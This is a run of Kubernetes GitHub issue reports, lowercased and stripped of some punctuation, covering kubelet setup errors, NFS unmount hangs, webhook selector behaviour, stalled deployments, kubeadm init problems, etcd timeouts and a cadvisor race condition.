k8s.io  loadbalancing: l7  k8s.io  gce  slow   feature:ingress  should create ingress with given static-ip |  </details><br>   current status  https://go.k8s.io/triage 1fb2bacd1b1f35178bd6

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r > kind bug\r \r   what happened  :\r \r i am facing below error when i tried to enable kubelet, before setting up the master cluster\r \r bash-4.2$ /usr/local/packages/aime/install/run_as_root \ systemctl enable /scratch/athirugn/kubernetes/_output/dockerized/bin/linux/amd64/kubelet\ \r failed to execute operation: unit name kubelet is not valid.\r \r   what you expected to happen  :\r \r i am trying to setup kubernetes master cluster. \r \r i have downloaded kubernetes using \ git clone https://github.com/kubernetes/kubernetes\  command\r i was able to build the binaries using below steps\r \r $ cd kubernetes ; make quick-release\r \r and the exes are present under \ _output/dockerized/bin/linux/amd6\  directory\r i presume that exes are ready-to-use, unlike installing the same from yum repository. hence i have added the above path to $path as well, in my linux box, so as to access all the exes from the same.\r \r please let me know on what i am missing here or how to resolve the issue.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r $ git clone https://github.com/kubernetes/kubernetes\r $ cd kubernetes ; make quick-release\r $ /usr/local/packages/aime/install/run_as_root \ systemctl enable /scratch/athirugn/kubernetes/_output/dockerized/bin/linux/amd64/kubelet\ \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.0.507+db809c0eb7d33f\ , gitcommit:\ db809c0eb7d33fac8f54d8735211f2f3a8fc4214\ , gittreestate:\ clean\ , builddate:\ 2017-09-11t14:59:15z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r   the connection to the server localhost:8080 was refused - did you specify the right host or port?  \r \r - cloud provider or hardware configuration  :\r linux.x64 oel7.2 vm box\r \r - os  e.g. from /etc/os-release :\r name=\ oracle linux server\ \r version=\ 7.2\ \r id=\ ol\ \r version_id=\ 7.2\ \r \r - kernel  e.g.  uname -a  :\r linux slc12ndc 4.1.12-61.1.16.el7uek.x86_64  2 smp fri oct 21 14:23:20 pdt 2016 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

what happened  :\r \r __nfs background__: most operations on nfs mountpoint will hang if the connection to nfs server is lost.\r \r when tearing down pod kubelet tries to unmount all volumes pod have mounted. there are some operations kubelet would done like stat/unmount mntpoint etc. at that moment, the  stat/unmount codes would hang forever if connection to nfs server is lost, though it may recover when the connection is reconnected.\r \r \r   what you expected to happen  :\r \r no matter what happened to nfs server, kubelet tears down pods along with their nfs volumes successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. setup a nfs service\r 2. create a pod with above nfs volume mounted\r 3. teardown nfs service\r 4. destroy pod\r \r kubelet will hang at step 4 and output message related to unmount volume\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r created  a validatingwebhookconfiguration \r    yaml\r apiversion: admissionregistration.k8s.io/v1beta1\r kind: validatingwebhookconfiguration\r metadata:\r   name: lovejoy\r webhooks:\r - name: podimage.k8s.io\r   failurepolicy: fail\r   namespaceselector:\r     matchexpressions:\r     - {key: tier, operator: in, values:  cache }\r   rules:\r   - apigroups:\r     - \  \ \r     apiversions:\r     - \  \ \r     operations:\r     - \  \ \r     resources:\r     - \ namespaces\ \r      \r and use the demo webhook in https://github.com/kubernetes/kubernetes/blob/v1.10.2/test/images/webhook/main.go\r always deny to log all the request\r found some cluster-scoped object not match the selector appears\r    \r {\ kind\ :\ admissionreview\ ,\ apiversion\ :\ admission.k8s.io/v1beta1\ ,\ request\ :{\ uid\ :\ 5749bd3b-075a-11e9-a92a-e83935bc3934\ ,\ kind\ :{\ group\ :\ apiregistration.k8s.io\ ,\ version\ :\ v1\ ,\ kind\ :\ apiservice\ },\ resource\ :{\ group\ :\ apiregistration.k8s.io\ ,\ version\ :\ v1\ ,\ resource\ :\ apiservices\ },\ subresource\ :\ status\ ,\ name\ :\ v1.networking.k8s.io\ ,\ operation\ :\ update\ ,\ userinfo\ :{\ username\ :\ system:apiserver\ ,\ uid\ :\ 10c8b539-e3fe-43d8-9a36-f8a93463a0d6\ ,\ groups\ : \ system:masters\  },\ object\ :{\ metadata\ :{\ name\ :\ v1.networking.k8s.io\ ,\ selflink\ :\ /apis/apiregistration.k8s.io/v1/apiservices/v1.networking.k8s.io\ ,\ uid\ :\ eb88549d-a50f-11e8-9e47-e83935bc3934\ ,\ resourceversion\ :\ 273670143\ ,\ creationtimestamp\ :\ 2018-08-21t07:00:42z\ ,\ labels\ :{\ kube-aggregator.kubernetes.io/automanaged\ :\ onstart\ }},\ spec\ :{\ service\ :null,\ group\ :\ networking.k8s.io\ ,\ version\ :\ v1\ ,\ cabundle\ :null,\ grouppriorityminimum\ :17200,\ versionpriority\ :15},\ status\ :{\ conditions\ : {\ type\ :\ available\ ,\ status\ :\ true\ ,\ lasttransitiontime\ :\ 2018-08-21t07:00:42z\ ,\ reason\ :\ local\ ,\ message\ :\ local apiservices are always available\ } }},\ oldobject\ :{\ metadata\ :{\ name\ :\ v1.networking.k8s.io\ ,\ uid\ :\ eb88549d-a50f-11e8-9e47-e83935bc3934\ ,\ resourceversion\ :\ 273670143\ ,\ creationtimestamp\ :\ 2018-08-21t07:00:42z\ ,\ labels\ :{\ kube-aggregator.kubernetes.io/automanaged\ :\ onstart\ }},\ spec\ :{\ service\ :null,\ group\ :\ networking.k8s.io\ ,\ version\ :\ v1\ ,\ cabundle\ :null,\ grouppriorityminimum\ :17200,\ versionpriority\ :15},\ status\ :{\ conditions\ : {\ type\ :\ available\ ,\ status\ :\ true\ ,\ lasttransitiontime\ :\ 2018-08-21t07:00:42z\ ,\ reason\ :\ local\ ,\ message\ :\ local apiservices are always available\ } }}}}\r     \r \r   what you expected to happen  :\r this object shouldn't  appear\r \r   how to reproduce it  as minimally and precisely as possible   :\r do what like upper\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:10:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

-  x  translate access modes, making sure that all  readwritemany  access modes are translated to  readwriteonce  with a comment explaining reasoning  backward compatibility \r -  x  translate deprecated  zone  and  zones  labels to supported topologies\r -  x  translate topology key from \ failure-domain.beta.kubernetes.io/zone\  to \ topology.gke.io/zone\ \r -  x  translate deprecated \ fstype\   to the prefixed stripped \ csi.storage.k8s.io/fstype\  parameter\r \r /assign\r /cc @msau42 @saad-ali \r \r did i miss anything?

the rate limiter parameters are deletingpodsqps and deletingpodsburst in cmd/kube-controller-manager/app/controllermanager.go. the defaults should allow 10 notready nodes to have their pods evicted right away, and 1 notready node every 10 seconds thereafter.  it's very possible these values are too aggressive. for one thing, they really should be expressed as a percentage of cluster size, not in absolute numbers--since our max supported cluster size is currently 100, we will remove all the pods in the largest cluster in 900 seconds, and even sooner in smaller clusters. the rate should probably be something like 10% of the cluster every 5 minutes. and the number of nodes per time interval should possibly be exponential rather than constant, so that we can start off very slowly.  ref/  13412   @gmarek

per @deads2k's  suggestion  https://github.com/kubernetes/kubernetes/pull/23673 discussion_r58708157 , the following  section of code   https://github.com/kubernetes/kubernetes/pull/23673 discussion_r58708157  in  pkg/kubectl/cmd/autoscale.go  should probably be refactored into a separate method to ease readability & management of the code

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r i'm hoping that this issue will resolve the problem i'm seeing.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r  deployment ,  replica set ,  oldreplicasets \r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:48:38z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5\ , gitcommit:\ 5a0a696437ad35c133c0c8493f7e9d22b0f9b81b\ , gittreestate:\ clean\ , builddate:\ 2016-10-29t01:32:42z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r \r google container engine\r \r   what happened  :\r \r i ran  kubectl apply -f  as usual to apply any changes to deployment, service, ingress resources. the deployment did not create a new replica set with the updated container image. going to the kubernetes dashboard i can confirm that the deployment was correctly updated with the new metadata.\r \r the only difference when this issue started happening was a small code change.\r \r i've tried multiple updates since and nothing changed. the nodes were on version 1.4.0 but i've tried updating them to 1.4.5 but still the same issue is happening.\r \r the old pods are still operational and serving requests normally.\r \r   what you expected to happen  :\r \r the deployment should have created a new replica set with three pods, then rolled them out.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r i don't know.\r \r   anything else do we need to know  :\r \r i've attached a file with the deployment's current configuration, as well as the deploy script i use to deploy:  files.zip  https://github.com/kubernetes/kubernetes/files/567982/files.zip \r \r here's the output of  kubectl describe :\r \r    \r $ kubectl describe deployment/fika-io\r name:\t\t\tfika-io\r namespace:\t\tdefault\r creationtimestamp:\tsun, 16 oct 2016 10:58:42 -0400\r labels:\t\t\tapp=fika-io\r selector:\t\tapp=fika-io\r replicas:\t\t3 updated | 3 total | 3 available | 0 unavailable\r strategytype:\t\trollingupdate\r minreadyseconds:\t0\r rollingupdatestrategy:\t1 max unavailable, 1 max surge\r oldreplicasets:\t\tfika-io-749979362  3/3 replicas created \r newreplicaset:\t\t<none>\r no events.\r    \r \r note that there is no  newreplicaset .

this means any 2 prs that touch this fine can't possibly not conflict.  we should just strip the timestamp.\r \r  sed 's/last updated ....-..-.. ..:..:.. ...//' \r \r easy change, i hope, just needs to find the right back-and-forth in  hack/lib/swagger.sh   kube::swagger::gen_api_ref_docs

hi. \r \r i'm currently trying to install kubernetes for my gentoo machines with help of the  manual  https://kubernetes.io/docs/setup/independent/create-cluster-kubeadm/   i know kubernetes manuals are written for ubuntu or centos but i believe a linux is a linux and a binary can be executed in any of the distributions . at the beginning, everything went pretty harsh, but i've managed to get to the stage to start  kubeadm init . \r \r the problem is that i'm stuck on the message  created api client, waiting for the control plane to become ready . i've already searched the problem and found several threads previously discussed in  33544  45064  33729 but none of them were helpful for me because my machine neither uses selinux nor systemd.\r \r below is what i see when i executed  kubeadm init \r    \r ns2 ~/kubernetes   ./kubernetes/server/bin/kubeadm init\r  kubeadm  warning: kubeadm is in beta, please do not use it for production clusters.\r  init  using kubernetes version: v1.7.1\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks\r  preflight  warning: docker version is greater than the most recently validated version. docker version: 17.03.1-ce. max validated version: 1.12\r  preflight  warning: no supported init system detected, skipping checking for services\r  preflight  warning: no supported init system detected, skipping checking for services\r  preflight  warning: no supported init system detected, skipping checking for services\r  preflight  warning: socat not found in system path\r  preflight  no supported init system detected, won't ensure kubelet is running.\r  certificates  generated ca certificate and key.\r  certificates  generated api server certificate and key.\r  certificates  api server serving cert is signed for dns names  ns2 kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local  and ips  10.96.0.1 163.152.163.55 \r  certificates  generated api server kubelet client certificate and key.\r  certificates  generated service account token signing key and public key.\r  certificates  generated front-proxy ca certificate and key.\r  certificates  generated front-proxy client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/scheduler.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/controller-manager.conf\ \r  apiclient  created api client, waiting for the control plane to become ready\r \r    \r \r any help would be appreciated.\r \r thank you.\r \r   environment  :\r - kubectl version : client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.1\ , gitcommit:\ 1dc5c66f5dd61da08412a74221ecc79208c2165b\ , gittreestate:\ clean\ , builddate:\ 2017-07-14t02:00:46z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r the connection to the server localhost:8080 was refused - did you specify the right host or port?\r - maybe the above message can be another strange one though. \r - os :  gentoo linux\r - kernel : linux ns2 4.9.34-gentoo  7 smp wed jul 19 13:04:15 kst 2017 x86_64 intel r  xeon r  cpu x5680 @ 3.33ghz genuineintel gnu/linux\r \r /area kubeadm\r /help-wanted

is this a bug report or feature request?  :\r \r  \r   description  :\r \r it seems we can not start master when running integration test, any suggestion?\r \r branch: f354857bfbbfc99a66663ee387a14449be30d712\r \r go version:\r    \r macpro-2:kubernetes klaus$ go version\r go version go1.8.3 darwin/amd64\r    \r \r etcd version:\r    \r macpro-2:kubernetes klaus$ etcd --version\r etcd version: 3.0.17\r git sha: cc198e2\r go version: go1.6.4\r go os/arch: darwin/amd64\r    \r \r error output:\r    \r 2017-08-23 16:41:57.119253 i | proto: duplicate proto type registered: google.protobuf.any\r 2017-08-23 16:41:57.123039 i | proto: duplicate proto type registered: google.protobuf.duration\r 2017-08-23 16:41:57.123079 i | proto: duplicate proto type registered: google.protobuf.timestamp\r i0823 16:41:57.125875   64772 services.go:35  network range for service cluster ips is unspecified. defaulting to 10.0.0.0/24.\r i0823 16:41:57.164453   64772 master.go:184  node port range unspecified. defaulting to 30000-32767.\r w0823 16:41:57.207931   64772 genericapiserver.go:304  skipping api autoscaling/v2alpha1 because it has no resources.\r w0823 16:41:57.238682   64772 genericapiserver.go:304  skipping api batch/v1beta1 because it has no resources.\r w0823 16:41:57.238694   64772 genericapiserver.go:304  skipping api batch/v2alpha1 because it has no resources.\r e0823 16:41:57.494520   64772 controller.go:136  unable to perform initial kubernetes service initialization: endpoints \ kubernetes\  is invalid: subsets 0 .addresses 0 .ip: invalid value: \ <nil>\ : must be a valid ip address,  e.g. 10.9.8.7 \r e0823 16:41:57.499623   64772 controller.go:162  unable to sync kubernetes service: endpoints \ kubernetes\  is invalid: subsets 0 .addresses 0 .ip: invalid value: \ <nil>\ : must be a valid ip address,  e.g. 10.9.8.7 \r 2017-08-23 16:42:32.263865 i | httptest.server blocked in close after 5 seconds, waiting for connections:\r    net.tcpconn 0xc422f54190 127.0.0.1:49388 in state active\r    net.tcpconn 0xc420a282f8 127.0.0.1:49374 in state active\r e0823 16:42:57.616262   64772 controller.go:149  unable to create required kubernetes system namespace kube-system: post http://127.0.0.1:49311/api/v1/namespaces: dial tcp 127.0.0.1:49311: getsockopt: connection refused\r e0823 16:42:57.616680   64772 controller.go:149  unable to create required kubernetes system namespace kube-public: post http://127.0.0.1:49311/api/v1/namespaces: dial tcp 127.0.0.1:49311: getsockopt: connection refused\r e0823 16:42:58.260232   64772 storage_rbac.go:172  unable to initialize clusterroles: the server was unable to return a response in the time allotted, but may still be processing the request  get clusterroles.rbac.authorization.k8s.io \r e0823 16:42:58.260567   64772 storage_rbac.go:172  unable to initialize clusterroles: get http://127.0.0.1:49311/apis/rbac.authorization.k8s.io/v1beta1/clusterroles: dial tcp 127.0.0.1:49311: getsockopt: connection refused\r f0823 16:42:58.261456   64772 hooks.go:126  poststarthook \ rbac/bootstrap-roles\  failed: unable to initialize roles: timed out waiting for the condition\r goroutine 1041  running :\r k8s.io/kubernetes/vendor/github.com/golang/glog.stacks 0xc420909e00, 0xc42308b400, 0x99, 0x25f \r \t/users/klaus/workspace/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:766 +0xa7\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .output 0x8cf62e0, 0xc400000003, 0xc42074ebb0, 0x8a895be, 0x8, 0x7e, 0x0 \r \t/users/klaus/workspace/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:717 +0x348\r k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .printf 0x8cf62e0, 0xc400000003, 0x480633f, 0x1b, 0xc4231f9f80, 0x2, 0x2 \r \t/users/klaus/workspace/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:655 +0x14f\r k8s.io/kubernetes/vendor/github.com/golang/glog.fatalf 0x480633f, 0x1b, 0xc4231f9f80, 0x2, 0x2 \r \t/users/klaus/workspace/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:1145 +0x67\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.runpoststarthook 0x47e8ce5, 0x14, 0xc4212b6010, 0xc421115200, 0xc420282fc0, 0xc4203d1620 \r \t/users/klaus/workspace/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/hooks.go:126 +0x158\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.  genericapiserver .runpoststarthooks\r \t/users/klaus/workspace/k8s_ws/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/hooks.go:105 +0x13f\r fail\tk8s.io/kubernetes/test/integration/configmap\t61.342s\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r gcp sdk  list  function returns the first 500 results of the resource, and if there are more results, a  nextpagetoken  is also returned that can be used to get the next page of results in subsequent list requests. most of the gce cloud provider  list  calls don't use the  nextpagetoken , and therefore, they only return the first 500 results. they can be identified by this comment:  // todo: use pagetoken to list all not just the first 500 .\r \r   what you expected to happen  :\r \r  list  calls must use the  pages  function that will go through all pages and therefore will return all results.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  1.8.1 \r - cloud provider or hardware configuration  :  gce \r - os  e.g. from /etc/os-release : n/a\r - kernel  e.g.  uname -a  :n/a\r - install tools: n/a\r - others: n/a\r

 \r \r   what happened  :\r when for whatever reason kube-proxy can't reach the apiserver, it retries but the pod stays in ready state.\r \r   what you expected to happen  :\r kube-proxy should fail or have a health check that would indicate such issues.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.4

is this a bug report or feature request?  :\r   /area test\r \r   what happened  :\r https://k8s-testgrid.appspot.com/sig-network-gce ingress-gce-e2e often fails on below error:\r    \r error: l7 controller failed to delete all cloud resources on time. timed out waiting for the condition\r    \r \r turned out  cleanupgceingresscontroller    looks for all gcp resources for cleanup, not only the ones that are related to the specific test ingress. when tests run parallelly, it is likely to fail.\r \r we should make the cleanup logic specific to the test ingress.\r \r   anything else we need to know?  :\r /assign

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r with respect to the  discussion  https://github.com/cncf/k8s-conformance/issues/221 issuecomment-397375358  to promote e2e tests for conformance, while going through codebase, it is observed that this e2e test case is using deprecated  in 1.7   deleteoptions  https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.10/ deleteoptions-v1-meta   orphandependents=nil . so we may not promote it to conformance as it is not meeting the  conformance guidelines  https://github.com/brahmaroutu/community/blob/4bd34702de0f138610e8e27e9484efe9fb770d46/contributors/devel/conformance-guidelines.md conformance-test-guidelines .\r \r   what you expected to happen  :\r 1. do not promote this e2e tests for conformance.\r 2. create another e2e test with deleteoptions parameters as   propagationpolicy=\ orphan\    to achieve same behaviour.\r \r   anything else we need to know?  :\r any suggestion or feedback is expected in order to promote this e2e test.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-alpha.0.1047+3abba251605909-dirty\ , gitcommit:\ 3abba25160590921fec61236ba012a8bbd757d6c\ , gittreestate:\ dirty\ , builddate:\ 2018-06-18t07:29:01z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12+\ , gitversion:\ v1.12.0-alpha.0.1047+3abba251605909-dirty\ , gitcommit:\ 3abba25160590921fec61236ba012a8bbd757d6c\ , gittreestate:\ dirty\ , builddate:\ 2018-06-18t07:29:01z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r cc  @fedebongio, @aishsundar \r /area conformance\r @kubernetes/sig-architecture-feature-requests

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r kind bug\r >  \r \r   what happened  :\r getting below error adding a key\r \r  root@fed-master ~   etcdctl set /coreos.com/network/config < flannel-config.json                                                                                                            error:  client: etcd cluster is unavailable or misconfigured; error  0: client: endpoint http://192.168.0.5:2379 exceeded header timeout\r \r error  0: client: endpoint http://192.168.0.5:2379 exceeded header timeout\r \r  root@fed-master ~  \r \r   what you expected to happen  :\r sucessful insertion into etcd store.\r \r   how to reproduce it  as minimally and precisely as possible   :\r follow the instructions in the page to setup a multi node cluster and etcd error will occur while configuring flannel.\r https://kubernetes.io/docs/getting-started-guides/fedora/flannel_multi_node_cluster/\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r v1.10.1\r - cloud provider or hardware configuration:\r private cloud\r - os  e.g. from /etc/os-release :\r fedora-28\r - kernel  e.g.  uname -a  :\r 4.16.6-302.fc28.x86_64\r - install tools:\r - others:\r

which jobs are failing  : ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new\r \r   which test s  are failing  :  sig-scheduling  taintbasedevictions  serial  checks that the node becomes unreachable\r \r   since when has it been failing  : nov. 3rd\r \r   testgrid link  : https://k8s-testgrid.appspot.com/sig-release-master-upgrade gce-new-master-upgrade-cluster-new\r \r   reason for failure  : \r \r proximate error:\r \r  nov  4 17:57:57.062: node \ bootstrap-e2e-minion-group-cshn\  doesn't turn to notready after 3 minutes \r \r however, this test has a whole bunch of disregarded rbac errors, and i'm wondering if this is just a permissions problem.  filing an issue just so the scheduling folks take a look at it, in case it does represent a real upgrade problem.\r \r https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new/1772\r \r   anything else we need to know  :\r \r this particular test is unreliable, and is likely to be taken out of blocking.\r \r <!-- do not edit below this line -->\r    /

from  cve-2018-1002105  https://github.com/kubernetes/kubernetes/issues/71411   post-mortem  https://docs.google.com/document/d/1tgpqem56csbpfl-qxis_cgdlabmzxekedhci7eowgt0/edit  \r \r /area security\r /area apiserver\r /  

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r i'm trying to vendor k8s.io/kubernetes/test/e2e, which due to  recently added ?  code in test/e2e/framework/crd_util.go depends on k8s.io/apiextensions-apiserver. the problem now is that the content of k8s.io/apiextensions-apiserver is incomplete:\r apiextensions-apiserver/pkg/controller/openapi/builder.go calls generatedopenapi.getopenapidefinitions, but apiextensions-apiserver/pkg/generated/openapi/ doesn't contain the generated code.\r \r   what you expected to happen  :\r \r i expect k8s.io/apiextensions-apiserver to compile when fetching it with \ go get\  or vendoring it with tools like \ dep\ .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r $ go get k8s.io/apiextensions-apiserver\r   k8s.io/apiextensions-apiserver/pkg/controller/openapi\r ../apiextensions-apiserver/pkg/controller/openapi/builder.go:327:16: undefined: \ k8s.io/apiextensions-apiserver/pkg/generated/openapi\ .getopenapidefinitions\r ../apiextensions-apiserver/pkg/controller/openapi/builder.go:382:11: undefined: \ k8s.io/apiextensions-apiserver/pkg/generated/openapi\ .getopenapidefinitions\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : master\r

a significant debugging obstacle to pod failures are easy access to the last snippet of logs.  we could potentially add the last few hundred bytes of stdout/err or the termination log to the status of a terminated container in order to enable better debugging ux.  as that could grow pod json by a significant percentage, we could restrict it to failed pods, or have it be a separate snippet recorded at a different etcd key.  however, it's likely that in most \ new user\  scenarios failures are frequent and represent a barrier to entry - enough that displaying some segment of logs during a pod describe should be considered  another option is to add this logging to the event - pod exit is highly correlated with failure, and a pod termination event with log snippet is potentially more useful than a termination.  we believe this would reduce debugging load substantially, and enable better ux around pod status.

hi,  aws profile is being cleaned up after running kube-up.sh  1  aws iam list-instance-profiles i can see  profiles  after bash ./kubernetes/cluster/kube-up.sh  the config profile  ks-profile  could not be found  thank you, sridhar

i am not sure if what i am doing is supposed to work. but i have created the following pod:      apiversion: v1 kind: pod metadata:   name: nginx-host spec:   containers:   - image: caseydavenport/nginx     imagepullpolicy: ifnotpresent     name: nginx-host     ports:     - containerport: 80       hostport: 80   restartpolicy: always      this gives me a pod with the following:              \ hostip\ : \ 178.x.x.x\ ,         \ podip\ : \ 10.x.x.x\ ,      from the host  178.x.x.x , running:  curl http://10.x.x.x  gets me the response from nginx that i expect. from the host  178.x.x.x , running  curl http://178.x.x.x  gets me  port 80: connection refused .  should this work? or have i missed something?  versions:      client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.1\ , gitcommit:\ 50809107cd47a1f62da362bccefdd9e6f7076145\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.1\ , gitcommit:\ 50809107cd47a1f62da362bccefdd9e6f7076145\ , gittreestate:\ clean\ }      networking: calico  host os: ubuntu 16.04  docker: 1.10.3  thanks a lot

is this a bug report or feature request?    choose one : bug report  <!-- if this is a bug report, please:   - fill in as much of the template below as you can.  if you leave out     information, we can't help you as well.  if this is a feature request, please:   - describe  in detail  the feature/behavior/change you'd like to see.  in both cases, be ready for followup questions, and please respond in a timely manner.  if we can't reproduce a bug or think a feature already exists, we might close your issue.  if we're wrong, please feel free to reopen it and explain why. -->    kubernetes version  : tested with 1.2.2 and 1.3.5    environment  : -   cloud provider or hardware configuration  : aws -   os    e.g. from /etc/os-release : ubuntu 14.04.5 -   kernel    e.g.  uname -a  : linux ip-172-24-18-196 3.13.0-93-generic  140-ubuntu smp mon jul 18 21:21:05 utc 2016 x86_64 x86_64 x86_64 gnu/linux -   install tools  : from scratch -   others  :    what happened  :  with pods running,  curl http://localhost:10255/stats/summary  has the  \ pods\   key with an empty value.    what you expected to happen  :  with pods running,  curl http://localhost:10255/stats/summary  should have a \ pods\  key listing pods and their containers and their resource usage statistics.    how to reproduce it    as minimally and precisely as possible :  with a created but unconfigured  cbr0 :   brctl addbr cbr0   set the docker daemon to use it  in /etc/default/docker :   docker_opts=\ --bridge=cbr0 --iptables=false --ip-masq=false --storage-driver=aufs\    then launch the docker daemon and kubelet with  --configure-cbr0 :   service docker start   service kubelet start   then try the stats summary api with some pods running:   curl http://localhost:10255/stats/summary   i think this is a race condition, so it might not happen reliably. that said, i can reproduce this reliably in my setup.    anything else do we need to know  :  i think this happens with the following sequence of events: 1. docker daemon up 2. kubelet up 3. https://github.com/kubernetes/kubernetes/blob/6e2ae7f8c56eb19e52806dfcca4d6e5079539272/pkg/kubelet/kubelet.go l998 is reached because docker daemon is up 4. https://github.com/kubernetes/kubernetes/blob/6e2ae7f8c56eb19e52806dfcca4d6e5079539272/pkg/kubelet/container_bridge.go l67 runs because cbr0 was not configured correctly. 5. while docker daemon is not fully up because of step 4, https://github.com/kubernetes/kubernetes/blob/0a6178959ffea0b9c823bfdd020345263f52dba4/vendor/github.com/google/cadvisor/manager/manager.go l235 runs, making cadvisor unable to properly handle docker containers. 6. now kubelet's cadvisor is permanently impaired, requiring a restart to function properly again.

